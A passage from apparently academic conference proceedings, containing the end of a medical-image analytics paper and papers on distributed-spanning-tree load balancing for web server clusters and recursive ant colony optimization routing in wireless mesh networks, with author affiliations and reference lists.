of regularity and irregularity in the easy and efficient manner.
8 Future Extension
The extension of this work can lead researchers to develop customizable plugin for
image cleaning, transformation, enhancement, and discernation methodologies
under only the environment with user friendly interface and also integrate the
analytics for higher level of accuracy and judgment. Simultaneously, intelligent
algorithm can be developed to boost the performance of Visual Analytics. Also, the
work can be integrated with data mining/artificial intelligence for better analytics.
References
1. Soon, C., Qing, W.: Content-based retrieval and data mining of a skin cancer image database,
pp. 611–615. IEEE (2001)
2. Delen, D., Glenn, W., Amit K.: Predicting breast cancer survivability: a comparative of three
data mining methods. In Elsevier B.V. Artificial intelligence in medicine, pp. 1–15 (2004)
3. Yan, Z., Peter, P.J., Richard, B.H.: Visualization of multidimensional and multimodal
tomographic medical imaging data, a case study, pp. 1304–1308
4. Raquel, T., Nuno, C.F., Francisco, C.: Development of a medical image database for data
mining and group analysis applications. Elsevier Ltd and SciVerse Sci. Direct Procedia
Technol. 5, 912–921(2012)
5. Richa, M., Rinal, D., Aashish, N.J.: Predictive analysis of biomedical data using clustering
data mining techniques. Int. J. Comput. Intell. Commun. Technol. (IJCICT) 1(2), 10–16
(2012)
6. Mohammad, R., Ahmad, H.B., Farhan, M.: Finger-based gestural interaction for exploration of
3D heart visualization. Elsevier Ltd SciVerse Sci. Direct Procedia Social Behav. Sci. 97, 684–
690(2013)
7. Ringiene, L., Dzemyda, G.: Multidimensional data visualization based on the exponential
correlation function in Baltic. J. Modern Comput. 1(3), 9–28 (2013)
8. Kargupta, H., Stafford, B., Hamzaoglu, I.: Web based parallel/distributed medical data mining
using software agents. Los Alamos National Laboratory
9. Maryam, S., Fairuz, M., Wai, K.: Using fuzzy rough feature selection for image retrieval
system. IEEE, pp. 42–48 (2013)
10. Takabayashi, K.: Temporal abstraction and data mining with visualization of laboratory data
11. Paul, S., Andrew, M., Owen, O., Nitin, S., Jonathan, W., Daniel, R., Amin, N., Benno, S.,
Trey, I.: Cytoscape: a software environment for integrated models of biomolecular interaction
networks. Cold Spring Harbor Laboratory Press, pp. 2498–2504 (2003)
12. Alkiviadis, S., G.Ioannis, T.: Visualization of biological information with circular drawings. In
Springer–Verlag, Berlin Heidelberg, pp. 468–478 (2004)
13. Chen, X.: A graphical user interface model for scientific data visualization and exploration.
University of New Hampshire (2005)
14. Marcela, R., Agma, T., Caetano, T., Paulo, A.: An Association rule based method to support
medical image diagnosis with efficiency. IEEE Trans. Multimedia 10(2), 276–285 (2008)
15. Steve, P., David, T., Philip, M., James, M., Alice, V., Kell, D., Teresa, A.: Visualizing
biological data: a semantic approach to tool and database integration. BMC Bioinform. 10
(Suppl 6):S19 (2009)
16. Changchun, Y., Li, Y.: A data mining model and methods based on multimedia database in
IEEE (2010)
17. Awalin, S., Angela, S., Sohit, K., Paul, R., Ginnah, L., Ben, S.: Community health map: a
geospatial and multivariate data visualization tool for public health datasets. Govern. Inform.
Quartely J. (2012)
18. Yingcai, W., Xiaotong, L., Shixia, L., Kwan–Liu, M.: ViSizer-A visualization resizing
framework. IEEE Comput. Soc. 19(2), 278–290 (2013)
19. Robert van, L., Jan, H., de Wim, L.: A distributed blackboard architecture for interactive data
visualization. Centre for Mathematics and Computer Science CWI, Amsterdam, pp. 1–15
20. Carlos, O., Edward, O.: Discovering association rules based on image content
21. Chung-Hong, L., Chih-Hong, W., Hsiang-Hang, C., Hsin-Chang, Y.: A unified multilingual
and multimedia data mining approach for cancer knowledge discovery
22. Yining, D.: Unsupervised segmentation of color-texture regions in images and video
23. Sun, H., Davulun, R.: Java –based application framework for visualization of gene regulatory
region annotations Bioinformatics 20(5) @Oxford University Press, vol. 20, no. 5, pp. 727–
734 (2004)
24. Teng, L.: Contextual Decomposition of Multi-Label Images (2009)
25. Ganegedara, H.: Self organising map based region of interest labelling for automated defect
identification in large sewer pipe image collections (2012)
26. Yang, Y.: Web and personal image annotation by mining label correlation with relaxed visual
graph embedding (2012)
27. Bao, B.: Hidden-concept driven multilabel image annotation and label ranking (2012)
28. Rota Bulo, S.: Structured Local Predictors for Image Labelling (2012)
29. Marko, T., Ante, O., Andrej, K., Jurij, T.: Affecting labeling in a content-based recommender
system for images. IEEE Trans. Multi. 15(2), 391–400 (2013)
A Distributed Spanning Tree-Based
Dynamic Self-Organizational Framework
for Web Server
J. Amudhavel, U. Prabu, N. Saravanan, P. Dhavachelvan,

R. Baskaran and V.S.K. Venkatachalapathy
Abstract Web services are playing a very important role in various business-based
applications. There are an enormous amount of web services present and they are
creating a huge web traffic. The organizations are trying to reduce the web traffic by
having cluster-based web servers. It is a vital task to handle these cluster-based web
servers while they have a varying load on it. These servers should be highly
scalable and available. Load balancing is an important technique to provide rapid
response to the requests of the client. As the process of load balancing occurs fault
tolerance should be taken care of. This paper focuses on the scalable, fault-tolerant,
and load balancing mechanism of cluster-based web servers. The distributed
spanning tree structure is used for balancing the client requests among the
cluster-based servers. An architecture based on DST is proposed in this paper for
cluster-based web servers.

Keywords Web server Load balancing Load balancing algorithms DST
Based load balancing architecture
J. Amudhavel (&) U. Prabu

Department of Computer Science and Engineering, SMVEC, Pondicherry, India
e-mail: info.amudhavel@gmail.com
U. Prabu
e-mail: uprabu28@gmail.com
N. Saravanan
Department of Information Technology, TCET, Vandavasi, India
e-mail: mnsaran@hotmail.com
P. Dhavachelvan
Department of CSE, Pondicherry University, Pondicherry, India
e-mail: dhavachelvan@gmail.com
R. Baskaran
Department of CSE, Anna University, Chennai, India
e-mail: baaski@annauniv.edu
V.S.K. Venkatachalapathy
Department of Mechanical Engineering, SMVEC, Pondicherry, India
e-mail: vskvenkatachalapathy@yahoo.com

334 J. Amudhavel et al.
1 Introduction
A web server is a computer system that has the capability to handle the clients and
monitor them. It also provides the responses to the clients when a client requests for
some resources. All the computer systems can become a web server when a soft-
ware is installed to it and it has required hardware specification. There are numerous
amount of softwares available for web servers which are provided by various
vendors. A web server farm usually consists of jobs and dispatcher. The jobs are the
incoming requests to the servers. The dispatcher obtains all these jobs. A task
assignment policy is used by the dispatcher to allocate the jobs to the servers. The
task assignment policy is chosen with care such that the response time is low [1]. F5
application delivery controller is a hardware load balancer which dispatches the
jobs uniformly to the servers [2]. The jobs are dispatched to the server which has
less number of jobs. It uses Join-the-Shortest-Queue (JSQ) algorithm [3].
Figure 1 demonstrates the load balancing with distributed dispatchers. Using the
Equal-Cost Multi-Path (ECMP) algorithm the requests are routed to a random
dispatcher in a router. The service time of the requests changes based on the amount
of the data in the requests. To get the least response time in the cluster-based
system, size-based policies are used [4–8]. The ADAPTLOAD policy advances the
response time and allocates the jobs of same size to the server [5]. The size-based
results were not sufficient when the service time of the job is dependent [9]. Some
of the scheduling policies for web server clusters are diffusive load balancing,
shortest-queue algorithm, random method, round-robin algorithm, and weighted
round-robin algorithm. The various load balancing algorithms are The Power-of-d
(SQ(d)) algorithm [10–14], client-aware dispatching algorithm [15], content-aware
dispatching algorithm [16], and workload-aware load balancing [17].
1.1 Motivation
Many algorithms and architectures are proposed for the load balancing of the
servers. But stillthe research in the area of web server load balancing is going on.
Fig. 1 Distributed
dispatchers for a cluster of
parallel servers
A Distributed Spanning Tree-Based Dynamic Self-Organizational … 335
Still the server load balancing requires much attention to be paid. So based on the
analysis, a load balancing architecture is proposed using DST structure.
1.2 Contribution
Web servers are playing a very important role in today’s world. These web servers
are getting more number of requests from the clients. The load on the server should
be balanced which in turn provides a good response time. We have proposed an
architecture for cluster-based web servers, which is based on DST structure.
1.3 Organization
The rest of this paper is organized as follows. Section 2 presents the related works.
Section 3 presents the proposed work. Section 4 concludes the paper. The last
section consists of references.
2 Related Works
Load balancing has a vital role in the job allocation to web servers. There are
various algorithms proposed for the web server load balancing. These algorithms
were introduced when there was lack of previous algorithms and there were some
additional needs.
Eludiora et al. [18] proposed a policy named Cooperative Adaptive Symmetrical
Initiated Diffusion (CASID). The bandwidth utilization is minimized in this policy.
This policy allows favorable job relocations among the servers. This policy relo-
cates the unregulated jobs among the servers. The load balancing is done within the
DNS. This policy provides better experimental results when compared to Platform
for Load Balancing (PLB). Lu et al. [19] proposed an algorithm named
Join-Idle-Queue (JIQ). This algorithm is most suitable for dynamically scalable web
services. JIQ algorithm is made up of primary and secondary load balancing sys-
tems. JIQ is less complex than SQ(d) and performs better than SQ(d). The load
balancing is done mainly based on the idleness of the server. Boone et al. [20]
proposed an algorithm named Simulated Annealing Load Spreading Algorithm
(SALSA). It is applied in the QoS-aware load balancing and used for autonomous
service brokering. Tai et al. [21] proposed an algorithm named ADUS. It stands for
Adaptively Distributes work among all servers by taking account of both User
traffic and System load. ADUS divides the job among servers based on the current
size of the job. It inherits the efficiency of ADAPTLOAD [22] and JSQ [23].
Sharifian et al. [24] proposed an algorithm named Intelligent Queue-based Request
Dispatcher (IQRD). It is a dispatching algorithm for cluster-based web servers and
queuing model is used in it. This queuing model takes wise decisions while load
balancing takes place. IQRD algorithm increases the throughput and reduces the
average response time. Ungureanu et al. [25] proposed an algorithm named Least
Connected (LC). LC is a policy which combines two load balancing schemes. The
first scheme intends to balance quantity of workload and later intends to balance
quantity of jobs. The incoming jobs [3] are classified as large and small based on
the threshold value by the dispatcher. The small jobs are allocated to LC server and
large jobs are allocated to the server which is not processing the huge amount of
jobs. Sharifian et al. [26] proposed an algorithm which schedules and dispatches.
The requests are put into classes. The algorithm allocates the request to a server by
selecting it from a class. Probabilistic-Preferred Short Job (PPSJ) for scheduler
gives preferences to requests which have more number of requests and less service
time. In the dispatching algorithm, the server which has more processing capacity
has the much chance of selection.
3 Proposed Work
In today’s world, web service is playing a vital role. To provide rapid responses to
enormous number of client requests, load balancing is an important technique to
evenly distribute the requests to web servers. The requests are also loaded into the
server. It is a known fact that every server does not have same response time.
There are so many techniques proposed for the load balancing. But still these
techniques lack in certain metrics such as fault tolerance, scalability, and resource
awareness. To overcome these problems, the concept of distributed spanning tree
structure [27] is used. This structure balances the load generated by the requests
among servers and thus avoids the overload to a single server. This structure is also
scalable. Thus we can provide scalable fault-tolerant load balancing architecture for
web servers.
3.1 Proposed Architecture for Load Balancing

of Web Servers
The proposed architecture consists of clients, queue, joblist, dispatcher, classifier,

and servers.
3.1.1 Client
The client generates the request when it is in need of some resources from the
server. The client’s requests are stored in a queue.
3.1.2 Joblist
The joblist consists of all the requests or jobs created by the client to the server.
3.1.3 Dispatcher
The dispatcher is used to dispatch these requests to the servers.
3.1.4 Classifier
The classifier or load balancing logic plays a vital role in this architecture. The
classifier balances the load based on the algorithm provided to it.
3.1.5 Server
The servers respond to the client requests based on the jobs given to it. Figure 2
shows the proposed architecture for load balancing of web servers.
The grouping of server is done based on the DST structure [27]. The DST
structure has three stages here. The stage 1 is considered as a node which comprises
of servers. The stage 2 is also considered as a node which in turn consists of stage 1
nodes. The stage 3 consists of stage 1 and stage 2 nodes.
Fig. 2 Proposed architecture for load balancing of web servers
The server and its availability, queue, nodes, and the clustering of the server are
taken into consideration. Two tables are maintained and the values from those
tables are fetched during the working process. The first one is node table which
consists of ID, name, and IP address of the server. The second one is the connection
table which maintains the details such as source ID, name, and stage. Each of the
incoming jobs is assigned to the servers based on stages of DST. So the load is
balanced equally among all servers. Thus by using DST structure we can avoid
more number of requests or jobs to a single server and balance the load. Since every
cluster is interconnected to each other the architecture is also fault-tolerant.
4 Conclusion
In this paper, we have proposed an architecture based on the DST structure for
scalable, fault-tolerant, and load balancing of web servers. There are more number
of requests generated and this causes overload to a single server. Due to this reason,
optimization is further more than ever a critical factor. So here we have distributed
the load based on DST structure to every server. It avoids the bottlenecks to a single
server and provides good results.
References
1. Tai, J., Li, Z., Chen, J., Mi, N.: Load balancing for cluster systems under heavy-tailed and
temporal dependent workloads. Simul. Model. Pract. Theory 44, 63–77 (2014)
2. Salchow, K.: Load balancing 101: nuts and bolts. White Paper, F5 Networks, Inc. (2007)
3. Gupta, V., Harchol-Balter, M., Sigman, K., Whitt, W.: Analysis of join-the-shortest-queue
routing for web server farms. Perform. Eval. 64, 1062–1081 (2007)
4. Feng, H., Visra, M., Rubenstein, D.: Optimal state-free, size-aware dispatching for
heterogeneous m/g/-type systems. Perform. Eval. J. 62, 475–492 (2005)
5. Zhang, Q., Riska, A., Sun, W., Smirni, E., Ciardo, G.: Workload-aware load balancing for
clustered web servers. IEEE Trans. Paral. Distrib. Syst. 16, 219–233 (2005)
6. Harchol-Balter, M., Crovella, M., Murta, C.: On choosing a task assignment policy for a
distributed server system. J. Paral. Distrib. Comput. 59, 204–228 (1999)
7. Harchol-Balter, M., Scheller-Wolf, A., Young, A.R.: Surprising results on task assignment in
server farms with high-variability workloads. Proceedings of International Joint Conference
on Measurement and Modeling of Computer Systems, pp. 287–298 (2009)
8. Bachmat, E., Sarfati, H.: Analysis of sita policies. Perform. Eval. 67, 102–120 (2010)
9. Zhang, Q., Mi, N., Riska, A., Smirni, E.: Performance-guided load (un)balancing under auto
correlated flows. IEEE Trans. Paral. Distrib. Syst. (TPDS) 19, 652–665 (2008)
10. Vvedenskaya, N.D., Dobrushin, R.L., Karpelevich, F.I.: Queueing system with selection of the
shortest of two queues: an asymptotic approach. Probl. Inf. Transm. 32(1), 20–34 (1996)
11. Mitzenmacher, M.: The power of two choices in randomized load balancing. Ph.D. Thesis,
Berkeley (1996)
12. Bramson, M., Lu, Y., Prabhakar, B.: Randomized load balancing with general service time
distributions. ACM Sigmetrics (2010)
13. Graham, C.: Chaoticity on path space for a queueing network with selection of the shortest
queue among several. J. Appl. Probab. 37, 198–211 (2000)
14. Luczak, M., McDiarmid, C.: On the maximum queue length in the supermarket model. Ann.
Probab. 34(2), 493–527 (2006)
15. Casalicchio, E., Colajanni, M.: A client aware dispatching algorithm for web clusters
providing multiple services. Proceedings of the 10th International Conference on WWW,
pp. 535–544 (2001)
16. Casalicchio, E., Cardellini, V., Colajanni, M.: Content-aware dispatching algorithms for
cluster-based web servers. Cluster Comput. 5, 65–74 (2002)
17. Zhang, Q., Riska, A., Sun, W., Smirni, E., Ciardo, G.: Workload-aware load-balancing for
clustered web servers. IEEE Trans. Parallel Distrib. Syst. 16(3), 219–233 (2005)
18. Eludiora, S., Abiona, O., Aderounmu, G., Oluwatope, A., Onime, C., Kehinde, L.: A load
balancing policy for distributed web service. Int. J. Commun. Network Syst. Sci. 3, 645–654
19. Yi, L., Xie, Q., Kliot, G., Geller, A., Larus, J.R., Greenberg, A.: Join-idle-queue: a novel load
balancing algorithm for dynamically scalable web services. Perform. Eval. 68, 1056–1071
(2011)
20. Boone, B., Van Hoecke, S., Van Seghbroeck, G., Joncheere, N., Jonckers, V., De Turck, F.,
Develder, C., Dhoedt, B.: SALSA: QoS-aware load balancing for autonomous service
brokering. J. Syst. Softw. 83, 446–456 (2010)
21. Tai, J., Li, Z., Chen, J., Mi, N.: Load balancing for cluster systems under heavy-tailed and
temporal dependent workloads. Simul. Model. Pract. Theory 44, 63–77 (2014)
22. Zhang, Q., Riska, A., Sun, W., Smirni, E., Ciardo, G.: Workload-aware load balancing for
clustered web servers. IEEE Trans. Paral. Distrib. Syst. 16, 219–233 (2005)
23. Nelson, R., Philips, T.: An approximation for the mean response time for shortest queue
routing with general interarrival and service times. Perform. Eval. 17, 123–139 (1998)
24. Sharifian, S., Motamed, S.A., Akbari, M.K.: A content-based load balancing algorithm with
admission control for cluster web servers. Future Gener. Comput. Syst. 24, 775–787 (2008)
25. Ungureanua, V., Melamed, B., Katehakis, M.: Effective load balancing for cluster-based
servers employing job preemption. Perform. Eval. 65, 606–622 (2008)
26. Sharifian, S., Motamed, S.A., Akbari, M.K.: A predictive and probabilistic load-balancing
algorithm for cluster-based web servers. Appl. Soft Comput. 11, 970–981 (2011)
27. Dahan, S., Philippe, L., Nicod, J.M.: The distributed spanning tree structure. IEEE Trans.
Parallel Distrib. Syst. 20, 12 (2009)
Recursive Ant Colony Optimization
Routing in Wireless Mesh Network
J. Amudhavel, S. Padmapriya, R. Nandhini, G. Kavipriya,

P. Dhavachelvan and V.S.K. Venkatachalapathy
Abstract The ant colony optimization algorithm is used to find the optimal path
based on the behavior of an ant while searching a food. It will communicate with
other ants using the pheromone to find the best solution. In this paper, we introduce
recursive ant colony optimization (RACO) in the wireless mesh network. This
technique is used to subdivide a large network into smaller networks and based on
the network, the shortest path is found in each subproblem, and finally it is com-
bined to generate an optimal path for the network. In each subproblem, the iteration
is performed recursively to obtain the shortest path in that subproblem. In our paper,
we use recursive ant colony to reduce redundancy in connection and so the data will
transfer in less time effectively. RACO is used to find best solutions more accurate
than the other ant colony systems. Isolation of a subproblem is reduced in RACO.
Keywords Ant colony optimization

Recursive ant colony optimization

Wireless mesh network Orthodox client
J. Amudhavel (&) S. Padmapriya R. Nandhini G. Kavipriya

Department of Computer Science and Engineering, SMVEC, Pondicherry, India
e-mail: info.amudhavel@gmail.com
S. Padmapriya
e-mail: padhu.p12@gmail.com
R. Nandhini
e-mail: nanduu157@gmail.com
G. Kavipriya
e-mail: kavipriyagananathan@gmail.com
P. Dhavachelvan
Department of CSE, Pondicherry University, Pondicherry, India
e-mail: dhavachelvan@gmail.com
V.S.K. Venkatachalapathy
Department of Mechanical Engineering, SMVEC, Pondicherry, India
e-mail: vskvenkatachalapathy@yahoo.com

1 Introduction
Ant system (AS) was introduced by Marco Dorigo during his Ph.D. in 1992. The
first algorithm used on AS was used to find finest path in a graph using the
performance of ant to find a path between ant colony and food. This behavior is
implemented by using artificial ant colony to find the approximate path in solving
problems like discrete optimization, continuous optimization, and telecommunica-
tions like routing, load balancing, and also used in numerous problems.
Ant Colony Optimization (ACO) [2, 4, 5, 7, 8] its inhabitants-based loom; it is
successfully applied to several NP—hard combinatorial optimization problems.
Based on the communication between individual ant colonies of agents in an
indirect way it is called artificial ants. With a trail of chemical substances called
pheromone which is originally used for communication between the real ants
(Figs. 1, 2, 3, 4, 5, 6 and 7).
Pheromone trails are nothing but a numeric information used by ants in solving a
given problem. Dorigo and his contemporaries were the first to apply this idea to the
traveling salesman problem. This algorithm is referred to as the AS algorithm [1, 5,
6, 8].
1.1 Ant Behavior
Ants are able to find the appropriate solution for the large network problems
between the nest and the food source by laying down, a path from the food source,
with the help of a trail of an attracting substance called a pheromone. Based on this
pheromone level communication [2, 6, 9] is established between the ants, to travel
to find the shortest path, and is considered that with the greatest density of pher-
omone the ants will tend to follow the path with more pheromone. The task of the
ants is to search the food in the vicinity of their nest. The ants will put down a
chemical stuff called pheromone, in the path while tracing their food from source to
destination. This is done in order to get two benefits. The first benefit is that it is
used to help the ants to find the return path to the nest. The second benefit is to
allow other ants to know the way they have taken, so it becomes easy for the other
ants to follow them. The inquisitiveness is that, because hundreds or even thou-
sands of ants have this behavior, if one could see the pheromone laid in the ground
as a kind of light, the ground takes over a large network with the arcs brighter than
the others. The paths created by those arcs would be the shortest path between the
source and the destination, which is used to perform communication between the
ants. Enthused by the food-searching performance of real ants, the AS is an obliging
population-based search approach. Each ant creates a route [10–16] from nest to
Recursive Ant Colony Optimization Routing … 343
food by following the quantities of pheromone level while the other ants sequen-
tially follow the path. If the path has a larger concentration of pheromone than the
shortest path may be found easily so that other ants can follow them. When the food
is traced by the ants from source to destination and back to the nest the pheromone
level has to fade away faster. Thus the AS gives both the advantage and
Fig. 1 Architecture of wireless mesh network using recursive ant colony optimization
Fig. 2 Wireless mesh

network 1 2 6
1
5 2 3 4
5 8
3 6 7 8 9
4
7
Fig. 3 Splitting of network

into subnetworks
1 2
1 2 6 4
5
3 7 5
8 8
6 4
7 9
Fig. 4 Finding shortest path

in first subnetwork
1
1
Fig. 5 Finding shortest path

in second subnetwork
6
3
7 5
6
8
Fig. 6 Finding shortest path in third subnetwork
4 2 3
1 6
4
1 5
8
Fig. 7 Shortest path in the given wireless mesh network
disadvantage. The advantage is that the chemical substance called pheromone

attracts other ants to use the same path as used by them to get their food and the
disadvantage is that the pheromone will disperse so that other ants cannot follow the
path of the preceding ants.
1.2 Ant Colony Optimization
The AS algorithm ponders a single ant colony with m artificial ants cooperating
with each other. When we start running an algorithm, each arc links two different
cities by exactly visiting each city once. Usually, in an ant colony system different
cities are given a quantity of pheromone 0. The value of pheromone is usually small
and it assures that the chosen arc probability is different from zero. The main
objective of TSP is to find the shortest path between the source and the target node,
while searching a food source by visiting each city exactly once. The traveling
salesman problem is similar to the ant system. The entire algorithm is started with
initial pheromone intensity set to s0 on all edges. In every ensuing AS cycle, each
ant selects the city randomly and it can visit all cities only once. By visiting each
city by each ant the pheromone intensity of all edges is rationalized. There are two
phases in this AS the first one is that, the construction of the solution and the second
one is that the pheromone is rationalized. Two decisions have to be made before
finding a solution such as the initial pheromone quantity to be given to each arc.
There will be set of n cities and at each iteration, each ant is placed randomly in a
city, and that city will be considered as a starting point of the excursion that is
constructed by that ant. At each step of iteration the ant will choose the next city
that it needs to visit with the given prospect. This is done by using transition rule.
The transition rule is amalgamation of heuristic information and past usage of
pheromone. For small instance the search space will be small and it will provide
optimal solution, but for larger instance, there may occur stagnation and it will not
provide optimal solutions. So, to avoid stagnation pheromone fading is important.
Until we reach the target, the process continues.
1.3 Recursive Ant Colony Optimization
The recursive ant colony system (RACS) algorithm is a customized form of ant
colony system proposed by Karp in 1977, which is parallel to the structure of k-d
tree data structure. It is used for partitioning the large problem into subproblems in a
manner to the recursive merge sort based on the divide and conquer technique. It is
used to find viable solutions among possible solution. RACO [1, 3, 7, 9, 17] makes
use of ant colony optimization recursively. In this, tour-based partitioning technique
is used to overcome the isolation of subproblems that transpire in statistical parti-
tioning. The ant colony system will provide the best solution for small problems
having less number of cities, while RACO is used for large problems which are
having a number of cities. It is used to find best solution for inversion problems.
Inversion problem is that, to redefine the structure from giving a set of capacity of
the data. The constraint function does not require a preliminary value to be
assigned. RACO results are more precise when compared to ant colony system.
During RACO divide the set of all nodes for a problem, say P, into many number of
subproblems say P1 and P2 and use it to find the best solution autonomously for
each subproblem. The endpoint of newly obtained path should be same as the
inventive path. It will reduce the search space and so it has more exploration,
efficiency, and accuracy will be more compared to the other ant colony systems. In
this each subproblem separately performs iteration method and will find the best
shortest path in each subproblem separately and combine all the solutions obtained
from the subproblem to generate a best optimal solution for transfer of data packet
over a wireless network. The recursive implementation can provide the best path in
less time and can avoid stagnation. This is because we will find a convergent path
for each subproblem hastily. It will find the best solution in short interval of time by
applying an ant colony system algorithm before it reaches stagnation. In ant colony
system the ant will move randomly to find the best solution, but in RACO the
shortest path is found by dividing the large problem into small problems so that the
feasible solution is obtained easily.
1.4 Wireless Mesh Network
A wireless mesh network is a communication network in which nodes are ordered

in a mesh topology. It consists of wireless clients, routers, and gateways. The mesh
client devices are cellular networks, Wi-Fi, and sensor network. Mesh routers
forward the data from and to gateways without connecting to the network. The
exposure area of the radio nodes works on a single network and it is called as mesh
cloud. The access to this cloud depends on the radio nodes. A mesh network is
reliable and offers redundancy, when any node gets failed the performance of the
failed node is taken care by another node. Wireless mesh networks can be employed
with various wireless technologies such as IEEE 802.11, IEEE 802.15, and IEEE
802.16. Wireless mesh network can easily, effectively, and wirelessly connect entire
cities using the expensive and existing technologies. The nodes are programmed
with software that tells how to transfer the data in a large network quickly and in a
safe path and it is called dynamic routing. The nodes which are in WMN will
forward packets on behalf of other nodes to target node if there occurs any failure in
the node. The routers have small mobility and it is a pillar of WMN [2–4, 6, 17], it
will provide network contacts for clients. The client can be fixed or mobile and can
form a network themselves with the router. A wireless mesh network is a type of
wireless ad hoc network. In WMN all nodes are fixed, but practically it is not true.
The router assists combination of WMN with present various wireless networks like
cellular sensor networks, wireless fidelity (Wi-Fi), and WiMAX [5, 8]. The per-
formance of any wireless system depends upon the transferring control and data
packets through multiways. In this paper, we reduce redundancy in connection
using RACO. It transfers the data easily in a short period of time. The structure of
the paper organized as, Sect. 1 contains introduction, Sect. 2 proposed methodol-
ogy, Sect. 2.1 working mechanism of our project, Sect. 1.5 contains an architecture
diagram that describes network structure, Sect. 3 contains the conclusion, last
section contains references.
1.5 Network Architecture
The architecture of WMNs can be classified into three types: infrastructure back-
bone WMNs, client WMNs, and hybrid WMNs. The WMN infrastructure is built
using various types of radio technologies, in count of using IEEE 802.11 tech-
nologies. The router forms a mesh of self-configuring, self-healing links among
themselves. The orthodox clients with different radio technologies can communi-
cate with the mesh router [5, 6, 8, 17] using Ethernet interface which is in their base
station. The orthodox client with same radio technologies will communicate
directly with mesh routers. In client WMNs, the peer-to-peer network among
various client devices is possible. In this type of architecture, client nodes establish
the actual network to perform the configuration and transmission of a packet to the
end user. The client WMN is same as a general ad hoc network, but end user has
extra functionalities of routing and self-configuration, but it does not have mesh
router. The hybrid WMN architecture is a combination of both infrastructure and
client mesh architecture. Mesh client can access the network using mesh routers and
it also can directly communicate with other mesh clients. The infrastructure pro-
vides connectivity to other networks like WI-Fi, WiMAX, cellular, etc. The
advantage of hybrid architecture is that it helps to improve the performance of
clients and to provide connectivity inside WMNs.
In wireless mesh network redundancy in connection occurs while transferring of

packets over a network and so it takes more time to transfer a packet to the
destination and also cost of transmitting packets are more. To overcome this we
introduce RACO in wireless mesh network. By using RACO, we can transmit the
packet faster and so it reduces the time taken to transfer the data. RACO is based on
divide and conquer method. In RACO, the nodes are subdivided into subnodes,
each subnode consists of at most three nodes. In each subnode iteration is pre-
formed and shortest path is found and finally all subnodes are combined so that we
can find the shortest path to transfer the data and also avoid redundancy in
connection.
2.1 Working Mechanism
The wireless mesh network consists of radio nodes that are interconnected to each
other. It is used to transfer the data over the network effectively. It consists of mesh
client, mesh router, and gateways. If there occurs any failure in node while trans-
ferring data from source to destination, the other node in the network will take the
responsibility to transfer the data. Only one node in wireless mesh network will be
wired to a DSL internet modem and it will share the internet connection to the
nearer nodes wirelessly and those nodes share connection to their nearer nodes and
so on. It is effective in sharing connectivity because more node installs the signal
can travel larger and also it will provide stronger and faster connection to the user.
In a wireless mesh network there will be redundant in connection while transferring
packet, and also cost of transferring packet is high in wireless mesh network and
time taken to transfer packet will be high. To avoid this problem we introduced
RACO. This algorithm is used to find the best solution for large network.
The RACS algorithm will partition set of nodes for problem, say P into sub
problems say P1 and P2 and in each subproblem the solution is found separately but
iteratively and finally best solutions are found. The search space for each sub-
problem gets reduced and resulting from the subproblem for the original problem is
more accurate and exploration efficiency is more while comparing with other ACS
algorithms. In this, each subproblem iteration is performed to find the best solution
and finally all subproblems are combined to find the final best solution. The des-
tination node obtained after combining all subproblems should be the same as the
destination node in original problem P. The recursive implementation will speed up
the merging of nodes for large problem before its stagnation by finding a conver-
gent path for each subproblem rapidly. The RACS algorithm will find the shortest
path in shorter interval of time than comparable to the other ant colony systems. It
can also avoid stagnation behavior by dividing large problem into subproblem. In
this paper, we introduced RACS in wireless mesh network, the client mesh transfer
the data packets over a network and it is transferred through the mesh router and
gateways. In this, larger network is subdivided and for each subdivided node
iteration is performed to find the shortest path. Likewise, we find the shortest path
for all subnodes and at least all nodes are combined to find the optimal path for
transferring data over the network. The RACO uses divide and conquer technology,
which is used to subdivide the whole network and the optimized path is found using
the recursive method so that the redundancy that occurs during the transfer of data
get reduced. The ant colony optimization is applied to only a small network,
whereas the recursive ant colony technique is applied to a problem which is having
a large number of cities. This technique reduces the isolation of the subproblems.
In this wireless mesh network architecture we use RACO to obtain the shortest
path to transfer the data over the network. Here only one mesh router is physically
wired with internet modem and it will share the internet connection with all other
routers nearer to that node. Those nodes will share a network connection to their
nearer nodes and so on. The mesh router consists of gateway transfer data to other
devices like laptops, Wi-Fi, WiMax, and cellular networks [7–9, 17] that are
connected to mesh router using base station or access point. Orthodox clients [1, 2,
4, 5] with different radio technologies can communicate with the mesh router using
Ethernet interface [2, 6, 8, 9] which is in their base station. The orthodox client with
same radio technologies will communicate directly with mesh routers. In this the
network is divided into many subnetworks and for each subnetwork the shortest
path is found and at last all subnode solutions are combined to obtain a shortest path
to transfer the data.
• Step 1
A wireless mesh network consists of eight nodes and each is interconnected to
each other. Each node consists of cost to transfer the data.
• Step 2
In this wireless mesh network the RACO is applied to large network so it will
divide large networks into subproblems and recursively shortest path is found
separately in each subproblem.
• Step 3
In subproblem S1 recursive method is used to find the shortest path based on
low cost path
• Step 4
low cost path.
• Step 5
low cost path.
• Step 6
Finally, the shortest path is found in each subproblem separately and combined
to find optimal shortest path in a large network.
3 Conclusion
In this paper, we use RACO in wireless mesh network to find the shortest path in a
network to transfer a data packets. In, RACO large problems can be subdivided into
smaller problems and we can find more accurate results when compared to other
ACO. It is used to avoid redundancy in connection and also used to find the best
path in short interval of time. ACO will provide the best solution for small problem,
but for large problem with more cities it is difficult to find accurate solution. In a
wireless mesh network there is redundancy in connection so there will be delays in
sending data packets and also it takes more cost to transfer the data. In order to
avoid these problems we use RACS to reduce redundancy in connection and to
transfer data packet in short interval of time with minimal cost.
References
1. Bahreininejad, L.A., Hesamfar, P.: Subdomain generation using emergent ant colony
optimization. Comput. Struct. 84(28), 1719–1728 (2006). ISSN:0045-7949
2. Amudhavel, J., Vengattaraman, T., Basha, M.S.S., Dhavachelvan, P.: Effective maintenance
of replica in distributed network environment using DST. In: International Conference on
Advances in Recent Technologies in Communication and Computing (ARTCom) 2010,
pp. 252, 254, 16–17 Oct. 2010. doi:10.1109/ARTCom.2010.97
3. Ling, C., Lingjun, Z., Chen, Y.: An efficient ant colony algorithm for multiple sequences
alignment. In: Third International Conference on, Natural Computation, 2007. ICNC 2007,
vol. 4, pp. 208, 212, 24–27 Aug. 2007
4. Vengattaraman, T., Abiramy, S., Dhavachelvan, P., Baskaran, R.: An application perspective
evaluation of multi-agent system in versatile environments. Int. J. Expert Syst Appl Elsevier
(2011)(3), 1405–1416
5. Manju, A., Sharma, V.K.: Ant colony approach to constrained redundancy optimization in
binary systems. Appl. Math. Modell. 34(4), 992–1003 (2010). ISSN:0307-904X
6. Dhavachelvan, P., Uma,G.V.: Multi-agent based integrated framework for intra class testing of
